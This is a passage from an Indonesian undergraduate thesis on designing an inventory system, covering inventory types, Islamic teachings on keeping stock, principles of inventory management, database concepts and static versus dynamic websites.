Hasil olahan bahan mentah sebelum menjadi barang jadi, yang sebagian akan

diolah lebih lanjut menjadi barang jadi, dan sebagian kadang-kadang dijual

seperti apa adanya untuk menjadi bahan baku perusahaan lain.

3) Barang Jadi (finished products)

Barang yang sudah selesai diproduksi atau diolah, yang merupakan hasil utama

perusahaan yang bersangkutan dan siap untuk dipasarkan/ dijual.

4) Barang Umum dan Suku Cadang (general materials and spare parts)

Segala jenis barang atau suku cadang yang digunakan untuk operasi menjalankan

perusahaan/ pabrik dan untuk memelihara peralatan yang digunakan. Seringkali

barang persediaan jenis ini disebut juga barang pemeliharaan, perbaikan, dan

operasi, atau MRO Materials (maintenance, repair, and operation).

Page 52: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

5) Barang Untuk Proyek (Work in Progress)

Barang-barang yang ditumpuk menunggu pemasangan dalam suatu proyek baru.

6) Barang Dagangan (commodities)

Barang yang dibeli, sudah merupakan barang jadi dan disimpan di gudang

menunggu penjualan kembali dengan keuntungan tertentu.

Dalam logistic terdapat jenis persediaan yang lain misalnya sebagai berikut

(Yolanda, 2005).

(1) Pipeline, merupakan persediaan yang masih dalam proses persediaan. Persediaan

ini biasa juga disebut intransit inventory. Terdapat dua jenis persediaan pipeline,

yaitu tujuan FOB (FOB destination), merupakan barang yang masih menjadi

tanggung jawab pengirim sampai diterima ke tujuan. Kedua, sumber FOB(FOB

origin) barang menjadi tanggung jawab penerima setelah barang dikirim.

(2) Speculation, merupakan persediaan yang dibeli untuk tujuan spekulasi, karena

adanya sifat permintaan musiman. Misalnya, pedagang sebulan sebelum hari raya

sering melakukan penumpukan barang dengan harapan dapat menjual dengan

harga tinggi pada hari raya.

(3) Regular atau cyclical, merupakan yang digunakan untuk memenuhi kebutuhan

rutin, baik kebutuhan yang digunakan proses produksi maupun kebutuhan lain.

(4) Safety Stock, perseediaan yang sering dikaitkan dengan besarnya permintaan

berubah-ubah dan ketidakteraturan waktu tunggu (lead time). Untuk

mengantisipasi keadaan tersebut, perusahaan perlu menyiapkan persediaan

pengaman (safety stock). Persediaan pengaman adalah tambahan persediaan dari

jumlah biasanya sebesar rata-rata kondisi persediaan dan lamanya waktu tunggu.

Page 53: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

27

Jumlah jenis barang umum dan suku cadang ini untuk tiap perusahaan sangat

bervariasi, dari hanya puluhan sampai ratusan ribu. Ford, misalnya mempunyai

barang persediaan jenis 1 (bahan baku) dan 2 (bahan setengah jadi) sebanyak kurang

lebih 450.000 item, dan Pertamina misalnya, mempunyai barang persediaan jenis 4

(barang umum dan suku cadang) sebanyak sekitar 400.000 item, tentu saja makin

banyak jenisnya, makin rumit permasalahan dan pengelolaannya. Contoh barang

persediaan jenis keempat ini (Eko & Djoko, 2003) adalah:

1) Barang Umum

a. Cat (paints);

b. Sekrup dan baut (bolts and nuts)

c. Kerangan (values);

d. Pipa (pipes);

e. Slang (hoses);

f. Alat keselamatan dan pemadam kebakaran (fire and safety apparatus).

2) Suku Cadang:

a. Suku cadang untuk turbin (turbines);

b. Suku cadang untuk mesin (engine);

c. Suku cadang untuk kompresor (compressor);

d. Suku cadang untuk pompa (pump);

e. Suku cadang untuk pembangkit listrik (generator);

f. Suku cadang untuk ketel uap (boiler).

Page 54: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Contoh barang dagangan untuk perusahaan seperti supermarket yang bergerak

di bidang jual-beli segala jenis keperluan rumah tangga seperti Carrefour, Metro, dan

Hero:

1) Makanan kaleng;

2) Buah-buahan;

3) Daging dan ikan segar;

4) Barang-barang untuk cucian;

5) Minuman botol dan kaleng.

2.5.4 Anjuran Persediaan Dalam Islam

Islam menerangkan dalam sebuah dalil dalam Surat Yusuf ayat 43-49 yang

berbunyi:

Page 55: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

29

Yang artinya:

43. Raja berkata (kepada orang-orang terkemuka dari kaumnya): "Sesungguhnya

aku bermimpi melihat tujuh ekor sapi betina yang gemuk-gemuk dimakan oleh

tujuh ekor sapi betina yang kurus-kurus dan tujuh bulir (gandum) yang hijau dan

tujuh bulir lainnya yang kering." Hai orang-orang yang terkemuka:

"Terangkanlah kepadaku tentang ta'bir mimpiku itu jika kamu dapat mena'birkan

mimpi."

44. Mereka menjawab: "(Itu) adalah mimpi-mimpi yang kosong dan Kami sekali-

kali tidak tahu menta'birkan mimpi itu."

45. Dan berkatalah orang yang selamat diantara mereka berdua dan teringat

(kepada Yusuf) sesudah beberapa waktu lamanya: "Aku akan memberitakan

kepadamu tentang (orang yang pandai) mena'birkan mimpi itu, Maka utuslah aku

(kepadanya)."

46. (setelah pelayan itu berjumpa dengan Yusuf Dia berseru): "Yusuf, Hai orang

yang Amat dipercaya, Terangkanlah kepada Kami tentang tujuh ekor sapi betina

yang gemuk-gemuk yang dimakan oleh tujuh ekor sapi betina yang kurus-kurus

dan tujuh bulir (gandum) yang hijau dan (tujuh) lainnya yang kering agar aku

kembali kepada orang-orang itu, agar mereka mengetahuinya."

47. Yusuf berkata: "Supaya kamu bertanam tujuh tahun (lamanya) sebagaimana

biasa; Maka apa yang kamu tuai hendaklah kamu biarkan dibulirnya kecuali

sedikit untuk kamu makan.

Page 56: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

48. Kemudian sesudah itu akan datang tujuh tahun yang Amat sulit, yang

menghabiskan apa yang kamu simpan untuk menghadapinya (tahun sulit), kecuali

sedikit dari (bibit gandum) yang kamu simpan.

49. Kemudian setelah itu akan datang tahun yang padanya manusia diberi hujan

(dengan cukup) dan dimasa itu mereka memeras anggur."

Allah Menceritakan dalam mimpi yang dialami oleh raja sebagai sarana untuk

mengeluarkan Yusuf dari penjara secara terhormat dan terpandang. Raja merasa

bingung oleh mimpinya ini dan dia heran terhadap persoalannya. Maka dia

mengumpulkan para dukun, pembesar kerajaan, dan para gubernur. Dia menceritakan

mimpi itu kepada mereka. Namun mereka tidak mengetahui takbirnya. Mereka

berdalih kepadda raja dengan mengatakan, “Itu adalah mimpi yang kosong,” yakni

mimpi yang kacau,” dan kami sekali-kali tidak tahu mentakbirkan mimpi itu,”

sehingga walaupun mimpi itu benar maka kami tidak mengetahui takbirnya.

Kemudian si pemuda yang dahulu menerima pesan dari Yusuf agar dia menceritakan

ihwal dirinya kepada raja teringat akan Yusuf. Kemudian, setelah dia melupakan soal

Yusuf, berkata, “Aku akan menceritakan kepadamu takbir mimpi itu, maka utuslah

aku,”Yakni, maka utuslah aku untuk menemui Yusuf yang sangat jujur ke penjara.

Mereka mengirimkannya. Pemuda itu pergi. Dia berkata,”Yusuf, hai orang yang amat

dipercaya, terangkanlah kepada kami.” Si pemuda menceritakan mimpi itu. Pada saat

itulah Yusuf menceritakan takbirnya. Yusuf tidak bersikap keras kepada si pemuda

itu atas kelalaiannya untuk menceritakan pesannya kepada raja. Di berkata,”Yakni,

kamu akan mengalami masa subur. Hujan turun tujuh tahun berturut-turut. Yusuf

Page 57: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

31

menakbirkan sapi dengan tahun karena sapi itu suka digunakan untuk mengelola

tanah guna menanam buah-buahan dan palawija

Kemudian Yusuf mengarahkan mereka dalam menghadapi masa yang akan

mereka lewati itu. Maka dia berkata,”Maka apa yang kamu tuai hendaklah kamu

biarkan dibulirnya kecuali sedikit untuk kamu makan.”Simpanlah hasil panen

gandum selama tujuh tahun itu pada bulir-bulirnya supaya awet dan tidak cepat rusak

kecuali sebagian kecil saja untuk kamu makan. Hendaklah kamu makan sedikit demi

sedikit sertaa janganlah berlebihan agar kamu dapat menggunakannya pada masa

tujuh tahun peceklik, yaitu tahun paceklik yang akan terjadi secara terus-menerus.

Tahun paceklik ini digambarkan melalui sapi kurus yang memakan sapi gemuk. Hal

ini karena pada tahun paceklik dimakan persediaan yang dikumpulkan pada tahun

subur yang digambarkan melalui tujuh bulir yang kering.

Yusuf memberitahukan kepada mereka bahwa pada tahun kering itu tidak akan

tumbuh apapun. Apa yang mereka tanam tidak akan menghasilkan apapun. Oleh

karena itu, dia berkata,”Menghabiskan apa yang kamu simpan untuk menghadapinya

kecuali sedikit dari yang kamu simpan. “Kemudian Yusuf menggembirakan mereka

bahwa setelah tahun kemarau yang berturut-turut itu akan diakhiri oleh satu tahun

yang pada manusia diberi hujan yang menyuburkan negeri. Manusia dapat memeras

apa yang dahulu biasa mereka peras seperti zaitun, tebu, dan termasuk di dalamnya

memerah susu. “Da di masa itu mereka memeras.”

Dalam ayat tersebut bermakna agar manusia dapat melakukan penyimpanan

untuk makan mereka sehari-hari agar ada yang tetap bisa dimakan di kemudian hari.

(Ringkasan Tafsir Ibnu Katsir)

Page 58: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Dalam sebuah hadits juga dijelaskan:

Abdullah bin Abdurrohman Ad-Damiriy bercerita kepadaku yahya

bin hasan bercerita kepada kami bahwa Sulaiman bin Bilal bercerita kepada

kami, dari Hisyam dari bapaknya dari Aisyah bahwasanya Nabi SAW

bersabda tidaklah lapar sebuah keluarga yang di sisi merke itu kurma.

Bercerita kepada kami oleh Abdullah bin Maslamah bin Ko’nab bercerita

kepada kami, Ya’kub bin Muhammad bin Tholhah dari Abi Rizal

Muhammad bin Abdirrahman dari ibunya. Dari Aisyah dia berkata :

Rasulullah SAW. ”Wahai Aisyah Rumah yang tidak memiliki persediaan

kurma didalamnya niscaya keluarga tertimpa kelaparan, atau keluarganya

akan lapar. Nabi bersabda kepadanya sampai dua atau tiga kali.

Page 59: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

33

Dalam hadits ini menerangkan pentingnya persediaan, agar

manusia mempunyai persediaan baik itu makanan dan minuman ataupun

kebutuhan lainnya.

(Shahih Muslim Syara’ Imam Nawawi)

2.6 Manajemen Persediaan (Inventory Management)

2.6.1 Pengertian Manajemen Persediaan

Manajemen persediaan (inventory management) atau disebut juga dengan

inventory management atau pengendalian tingkat persediaaan adalah kegiatan yang

berhubungan dengan perencanaan, pelaksanaan, dan pengawasan penentuan

kebutuhan material sedemikian rupa sehingga di satu piihak kebutuhan operasi dapat

dipenuhi pada waktunya dan di lain pihak investasi persediaan material dapat ditekan

secara optimal (Eko & Djoko, 2003).

2.6.2 Prinsip Manajemen Persediaan

Seperti sudah disinggung di atas secara singkat, mengenai persediaan barang,

ada jenis prinsip pengelolaan yang harus dianut, (Eko & Djoko, 2003) yakni:

“Penentuan jumlah dan jenis barang yang disimpan dalam persediaan haruslah

sedemikian rupa sehingga produksi dan operasi perusahaan tidak terganggu,

tetapi di lain pihak sekaligus harus dijaga agar biaya investasi yang timbul dari

penyediaan barang tersebut seminimal mungkin”.

Prinsip tersebut memang selaras dengan prinsip ekonomi, yaitu:

Page 60: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

“Menghasilkan keluaran tertentu dengan biaya seminimal mungkin, atau dengan

biaya tertentu menghasilkan keluaran semaksimal mungkin”

Hal ini memang demikian karena pada hakikatnya, soal manajemen

persediaan adalah soal keputusan atau manajamen ekonomi perusahaan.

Kalau melihat prinsip pengelolaan persediaan tadi, maka jelas bahwa

diperlukan perpaduan antara dua hal yang sangat bertolak belakang. Cara yang paling

mudah untuk menjaga agar operasi terjamin adalah dengan mengisi persediaan

barang sebanyak-banyaknya (biasanya ini kemauan pemakai barang). Sedangkan

yang paling mudah untuk menjaga agar biaya investasi seminimal mungkin adalah

mengusahakan persediaan mencapai nol (biasanya ini dikehendaki oleh fungsi

keuangan). Di sinilah letak fungsi manajemen persediaan, yaitu menjembatani dua

kepentingan yang bertolak belakang tersebut.

Prinsip di atas menandakan pula bahwa pengelolaan persediaan haruslah

berdaya guna (efisien) dan berhasil guna (efektif). Menjamin kelangsungan jalannya

operasi perusahaan adalah sial efektivitas, sedangkan menekan persediaan sampai ke

tingkat minimum adalah soal efisiensi. Dengan demikian, pertanyaan-pertanyaan

yang harus dijawab yang menyangkut manajemen persediaan antara lain (Eko &

Djoko, 2003) adalah:

1) Jenis barang apa saja yang perlu disimpan dalam persediaan?

2) Berapa jumlah barang tiap-tiap jenis yang perlu disimpan dalam persediaan?

3) Apa, berapa, dan kapan suatu barang yang harus dipesan lagi untuk mengisi

kembali barang persediaan?

Page 61: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

35

4) Bagaimana perbedaan antara manajemen persediaan barang umum dan suku

cadang.

5) Bagaimana menentukan tingkat (nilai) persediaan yang ideal?

6) Bagaimana menentukan standardisasi material dan perlengkapan?

7) Hal-hal apa yang mempengaruhi manajemen persediaan?

8) Bagaimana mengendalikan dan mengelola persediaan berlebih dan persediaan

mati?

9) Biaya-biaya apa saja yang menyangkut manajemen persediaan dan bagaimana

mengendalikannya?

10) Bagaimana melakukan peramalan jumlah permintaan barang?

11) Bagaimana melakukan benchmarking?

12) Bagaimana mengukur tingkat kinerja manajemen persediaan?

13) Bagaimana akuntansi barang persediaan?

2.6.3 Pembagian Jenis Barang

Tadi sudah disebutkan bahwa barang persediaan dapat dibagi menjadi barang

umum dan suku cadang. Ini adalah pembagian menurut jenisnya. Dalam manajemen

persediaan, barang-barang dapat dibagi menurut beberapa sudut pandang/

pendekatan, yang antara lain dapat disampaikan sebagai berikut (Eko & Djoko,

2003).

1) Menurut Jenis

a. Barang Umum (general materials)

Page 62: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Barang jenis ini biasanya macamnya cukup banyak, pemakainya tidak

tergantung dari perlatan, harganya relatif lebih kecil, dan kebutuhannya relatif

lebih gampang.

b. Suku Cadang (spare parts)

Barang jenis ini macamnya sangat banyak, harganya biasanya lebih mahal,

pemakaiannya tergantung dari peralatan, dan penentuan kebutuhannya lebih

sulit.

2) Menurut Harga

a. Barang berharga tinggi (high value items)

Barang ini biasanya berjumlahh sekitar hanya 10 % dari jumlah item

persediaan, namun jumlah nilainya mewakili sekitar 70% dari seluruh nilai

persediaan, dan oleh sebab itu memerlukan tingkat pengawasan yang sangat

tinggi.

b. Barang berharga menengah (medium value items)

Barang ini biasanya berjumlah kira-kira 20% dari jumlah item persediaan, dan

jumlah nilainya juga sekitar 20% jumlah nilai persediaan, sehingga

memerlukan tingkat pengawasan cukup saja.

c. Barang berharga rendah (low value items)

Berlawanan dengan barang berharga tinggi, jenis barang ini biasanya

berjumlah kira-kira 70% dari keseluruhan pos persediaan, namun nilai

harganya hanya mewakili 10% saja dari seluruh nilai barang persediaan,

sehingga hanya memerlukan tingkat pengawasan rendah.

3) Menurut Frekuensi Penggunaan

Page 63: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

37

a. Barang yang cepat pemakaiannya atau pergerakannya (fast moving items)

Barang jenis ini frekuensi penggunaannya dalam 1 tahun lebih dari sekian

bulan tertentu, misalnya lebih dari 4 bulan, sehingga barang jenis ini

memerlukan frekuensi perhitungan pemesanan kembali yang lebih sering.

b. Barang lambar pemakaian atau pergerakannya (slow moving items)

Barang yang frekuensi penggunaannya dalam 1 tahun kurang dari sekian

bulan tertentu, misalnya dibawah 4 bulan, sehingga barang jenis ini

memerlukan frekuensi perhitungan pemesanan kembali yang tidak sering.

4) Menurut Tujuan Penggunaan

a. Barang pemeliharaan, perbaikan, dan operasi (MRO Materials)

Barang jenis ini sifatnya habis pakai, digunakan untuk keperluan

pemeliharaan, perbaikan, atau reparasi dan operasi, dan kalau pada suatu saat

perediaan habis, operasi masih dapat berjalan sementara.

b. Barang program (program materials)

Barang yang sifatnya juga habis pakai, jumlah kebutuhannya sesuai dengan

tingkat produksi/ kegiatan yang bersangkutan, dan kalau pada suatu saat

persediaan habis, kegiatan perusahaan akan langsung berhenti.

5) Menurut Jenis Anggaran

a. Barang Operasi (operation materials)

Barang yang digunakan untuk keperluan operasi biasa, yang dianggarkan

dalam anggaran operasi, dan apabila digunakan, akan dibukukan sebagai

biaya, dan proses persetujuan anggarannya biasanya lebih cepat dan

sederhana.

Page 64: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

b. Barang investasi (capital materials)

Barang yang biasanya berbentuk peralatan dan digunakan untuk penambahan,

perluasan atau pembangunan proyekm atau sebagai asset perusahaan,

dianggarkan dalam anggaran investasi, bukan dalam anggaran operasi, dan

dibukukan dalam akun asset perusahaan, sedangkan biayanya dihitung dengan

metode penyusutan sesuai dengan metode perhitungan yang telah ditentukan,

dan proses persetujuan anggarannya biasanya lebih sulit dan lama.

6) Menurut Cara Pembukuan Perusahaan

a. Barang persediaan (stock items)

Jenis barang yang setibanya barang tersebut dari proses pembelian, dibukukan

dalam akun “persediaan barang perusahaan” dan barangnya sendiri disimpan

di gudang persedian. Setelah barang tersebut digunakan oleh suatu bagian,

baru dibebankan pada akun bagian yang bersangkutan. Penggunaan barang ini

berulang-ulang sehingga memang perlu disediakan di gudang.

b. Barang dibebankan langsung (direct charged materials)

Jenis barang yang setelah dibeli langsung dikirimkan dan dibebankan ke

bagian yang akan menggunakan. Barang jenis ini memang biasanya tidak

disediakan dalam persediaan, karena jarang sekali digunakan.

7) Menurut Hubungannya dengan Produksi

a. Barang Langsung (direct materials)

Jenis barang yang langsung digunakan dalam produksi yang akan menjadi

bagian dari produksi akhir. Jadi, bahan mentah, bahan penolong, barang

setengah jadi, barang jadi, dan barang komoditas termasuk dalam kategori ini.

Page 65: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

39

b. Jenis barang yang tidak ada hubungannya dengan proses produksi, namun

diperlukan untuk memelihara mesin dan fasilitas yang digunakan untuk

produksi. Yang masuk dalam kategori ini adalah MRO (suku cadang dan

barang umum) dan barang proyek.

2.6.4 Beberapa Hambatan dalam Manajemen Persediaan

Banyak hal yang mengakibatkan sistem persediaan supply chain tidak efektif.

Sebab-sebab tersebut sangat bervariasi, ada yang teknis dan ada juga yang terkait

dengan perilaku individu maupun organisasi. Lee dan Billington dalam tulisannya di

Sloan Management Review tahun 1992 mengemukakan 14 jebakan yang bisa muncul

dalam mengelola persediaan pada supply chan. Beberapa diantaranya adalah

(Nyiman, 2005):

1) Tidak ada metrik kinerja yang jelas

Kinerja supply chain banyak terkait dengan persediaan. Misalnya tingkat

perputaran persediaan (inventory turnover rate), rata-rata lama permintaan atau

kebutuhan bisa dipenuhi oleh persediaan (inventory days of supply), banyaknya

persediaan yang kadarluwarsa, dan sebagainya. Walaupun ukuran-ukuran tersebut

relatif jelas, definisi dan cara pengukurannya dilapangan, memilih ukuran mana

yang pas dan berapa target yang harus dicapai bukanlah hal yang simpel.

2) Status pesanan tidak akurat

Ketika pelanggan memesan suatu produk ke pemasok, mereka berharap bisa

mendapatkan informasi kapan pesanan tersebut bisa dipenuhi. Walaupun pada

awalnya pelanggan sudah mendapatkan informasi tersebut, mereka tetap

Page 66: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

mengharapkan informasi yang mutakhir tentang perkembangan pesanan mereka

dari waktu ke waktu. Namun sangat sering terjadi supplier tidak mampu

memberikan informasi tentang status pengiriman yang akurat. Akibatnya,

pesanan ketidakpastian tinggi dan mendorong pelanggan untuk menyimpan

cadangan persediaan yang lebih layak.

3) Sistem informasi tidak handal

Perusahaan tidak akan bisa memberikan status pesanan kalau sistem informasi

antar bagian di dalam perusahaan maupun sistem yang bisa menghubungkan

perusahaan dengan pelangga tidak handal. Sering kali tiap bagian dalam

perusahaan tidak memiliki informasi yang sama tentang persediaan. Catatan di

gudang berbedda dengan catatan yang dimiliki oleh bagian perencanaan produksi.

4) Kebijakan persediaan terlalu sederhana dan mengabaikan ketidakpastian.

Di literature kita banyak menjumpai model-model persediaan. Model-model

tersebut biasanya sederhana dan menggunakan berbagai asumsi yang sering tidak

berlaku di lapangan. Dasar-dasar tersebut memang sangat penting sebagai

landasan, namun dalam kenyataannya staf dan manajer perlu pemahaman situasi

lapangan dengan banyak melakukan analisis data seperti lead time, permintaan,

akurasi catatan persediaan, persentaasi kerusakan (reject/ defect rate), dan

sebagainya.

5) Biaya-biaya persediaan tidak ditaksir dengan benar.

Ketika perusahaan mencari solusi terhadap lead time, pengiriman yang panjang

dan tidak pasti, transportasi udara biasanya tidak masuk sebagai pertimbangan.

Banyak orang sejak awal mengambil keputusan tanpa analisis bahwa pengiriman

Page 67: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

41

lewat udara pasti tidak layak. Tentu ini tidak selalu benar. Ada perusahaan yang

telah melakukan analisis transportasi ternyata bisa merealisasikan penghematan

luar biasa karena pindah dari transportasi laut ke transportasi udara.

6) Keputusan supply chain yang tidak terintegrasi.

Implikasi dan keputusan suatu supply chain terhadap persediaan sering tidak

dipahami dengan baik. Sebelum dilakukan perubahan pada proses perakitan dan

distribusi, sebuah perusahaan printer di Amerika menerima pesanan dari pusat-

pusat penjualan merek di seluruh dunia. Tiap Negara biasanya memiliki

kebutuhan yang berbeda terutama karen perbedaan bahasa yang akan digunakan

pada buku petunjuk serta perbedaan sistem sumber daya listrik (power supply).

2.7 Database

2.7.1 Konsep Sistem Database

Keberhasilan suatu sistem informasi manajemen (SIM) sangat dipengaruhi

oleh sistem database yang merupakan salah satu elemen penyusun sistem tersebut.

Semakin lengkap, akurat, dan mudah dalam menampilkan kembali data-data yang

termuat di dalam database, akan semakin meningkatkan kualitas SIM tersebut. Oleh

karena itu, sangatlah penting menyusun sistem database yang baik, yang mampu

memenuhi segala kebutuhan data atau informasi pemakainya.

Manajemen database merupakan bagian dari manajemen sumber daya

informasi serta memastikan bahwa sumber daya data perusahaan mencerminkan

secara akurat sistem fisik yang di wakilinya (Sutabri, 2005). Sumber daya data

Page 68: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

disimpan dalam media penyimpanan sekunder yang dapat mengambil bentuk

berurutan (sequential) atau akses langsung (direct access).

Tujuan sistem database meliputi penyediaan sarana akses yang fleksibel,

pemeliharaan integritas data, proteksi data dari kerusakan, dan penggunaan yang

tidak baik, serta penyediaan sarana untuk pengurangan atau meminimalkan

kerangkapan data (redundancy), menghilangkan ketergantungan data pada program-

program aplikasi, menstandarkan definisi elemen data, dan meningkatkan

produktifitas personil sistem informasi (Sutabri, 2005).

2.7.2 Pengertian Sistem Database

Perangkat lunak yang mengelola database disebut sistem manajemen

database (database management system)-DBMS. Semua DBMS memiliki suatu

pengolah bahasa deskripsi data (data description language processor) yang

digunakan untuk menciptakan database serta suatu pengelola database yang

menyediakan database bagi pemakai. Pemakai menggunakan manipulasi data dan

query language. Orang yang bertanggung jawab atas database dan DBMS adalah

pengelola database (database administrator) atau disingkat DBA.

Berikut ini pengertian database yang diberikan oleh James Martin dalam

bukunya “Database Organization” sebagai berikut:

Database adalah suatu kumpulan data terhubung (interrelated data) yang disimpan

secara bersama-sama pada suatu media, tanpa mengatap satu sama lain atau tidak

perlu suatu kerangkapan data (controlled redundancy) dengan cara tertentu sehingga

mudah digunakan atau ditampilkan kembali, dapat digunakan oleh satu atau lebih

Page 69: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

43

program aplikasi secara optimal, data disimpan tanpa mengalami ketergantungan

pada program yang akan menggunakannya, data disimpan sedemikian rupa sehingga

penambahan, pengambilan, dan modifikasi dapat dilakukan dengan mudah dan

terkontrol (Sutabri, 2005).

Dari pengertian di atas dapat disimpulkan bahwa sistem database mempunyai

beberapa kriteria yang penting, yaitu:

1. Bersifat data oriented dan bukan program oriented

2. Dapat digunakan oleh beberapa program aplikaso tanpa mengubah basisdatanya.

3. Dapat berkembang dengan mudah, baik volume maupun strukturnya.

4. Dapat memenuhi kebutuhan sistem-sistem baru secara mudah.

5. Dapat digunakan dengan cara-cara yang berbeda.

6. Kerangkapan data (data redundancy) minimal.

Keenam criteria tersebut memberikan secara nyata/ jelas antara file database

dan file tradisional yang bersifat program oriented, yaitu hanya dapat digunakan oleh

satu program aplikasi, berhubungan dengan suatu persoalan tertentu untuk sistem

yang direncanakan, perkembangan data hannya mungkin terjadi pada volume data

saja, kerangkapan data terlalu sering muncul/ tidak terkontrol dan hanya dapat

digunakan dengan satu cara tertentu saja. Selanjutnnya, James F. Courtney Jr. dan

David B. Paradice dalam buku “Database System for Management” menjelaskan:

Sistem database adalah sekumpulan database yang dapat dipakai secara

bersama-sama, personal-personal yang merancang dan mengelola database,

teknik-teknik untuk merancang dan mengelola database, serta komputer untuk

mendukungnya (Sutabri, 2005).

Page 70: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.7.3 Database Management System (DBMS)

DBMS adalah merupakan salah satu elemen dalam sistem database, DBMS

adalah perangkat lunak yang member fasilitas (yang tersedia dan dapat digunakan)

untuk melakukan fungsi perngaturan, pengawasan, pengendalian/ control,

pengolahan, dan koordinasi terhadap semua proses/ operasi yang terjadi pada sistem

database (Sutabri, 2005).

2.8 Website

Pada tahun-tahun awal pengenalan internet pada dunia, website atau situs web

yang tersedia masih langka. HTML masih baru dan belum banyak yang

menguasainya. Namun, oleh karena HTML mudah dipelajari maka banyak orang

mulai meramalkan internet dengan situs web buatannya.

Website yang ada pada internet mulanya berupa website yang statis, kaku, dan

tidak indah. Website tersebut menyerupai sebuah brosur atau tulisan dokumen.

Ternyata internet berkembang begitu pesat dan website yang tersedia saat ini sudah

berupa website dinamis yang sangat interaktif. Pengunjung dapat berkomunikasi

dengan website. Web tersebut juga mampu memberi informasi yang diinginkan

pengunjung seperti menunjukkan waktu dan tanggal sekarang, verifikasi kartu kredit,

dan lain sebagainya.

Teknologi yang berjasa bagi terciptanya interaktivitas pada masa lalu adalag

CGI (Common Gateway Interface). Namun, CGI script akhirnya ditinggalkan karena

sukar dimengerti. Bahasa permrograman web berkembang menjadi Perl dan C yang

agak mudah dimengerti. Saat ini bahasa pemrograman Web menjadi bahasa yang

Page 71: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

45

mudah dipahami seperti ASP, PHP, JavaScriptm VBScirpt, dan lain sebagainya

(Hardjono, 2006).

2.8.1 Pengertian website

Website merupakan fasilitas hiperteks untuk menampilkan data berupa teks,

gambar, suara, animasi, dan data multimedia lainnya (Hardjono, 2006). PHP

merupakan salah satu script (Perintah-perintah program) Server Side yang sangat

popular diterapkan dalam sebuah situs web. Situs/ web dapat dikatergorikan menjadi

dua, yaitu web statis dan web dinamis.

2.8.1.1 Web Statis

Web Statis adalah web yang berisi/ menampilkan informasi-informasi yang

sifatnya statis (tetap) (Hardjono, 2006). Disebut statis karena pengguna tidak dapat

berinteraksi dengan tersebut. Singkatnya, untuk mengetahui suatu web bersifat statis

atau dinamis dapat dilihat dari tampilannya. Jika suatu web hanya berhubungan

dengan halaman web lain dan berisi suatu informasi yang tetap maka web tersebut

disebut statis.

Pada web statis pengguna hanya dapat melihat isi dokumen pada halaman

web dan apabila diklik akan berpindah ke halaman web yang lain. Interaksi pengguna

hanya terbatas dapat melihat informasi yang ditampilkan, tetapi tidak dapat mengolah

informasi yang dihasilkan. Web statis biasanya merupakan HTML yang ditulsi pada

editor teks dan disimpan dalam bentuk .html atau .htm.

Page 72: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.8.1.2 Web Dinamis

Web dinamis adalah web yang menampilkan informasi serta dapat

berinteraksi dengan pengguna (Hardjono, 2006). Web yang dinamis memungkinkan

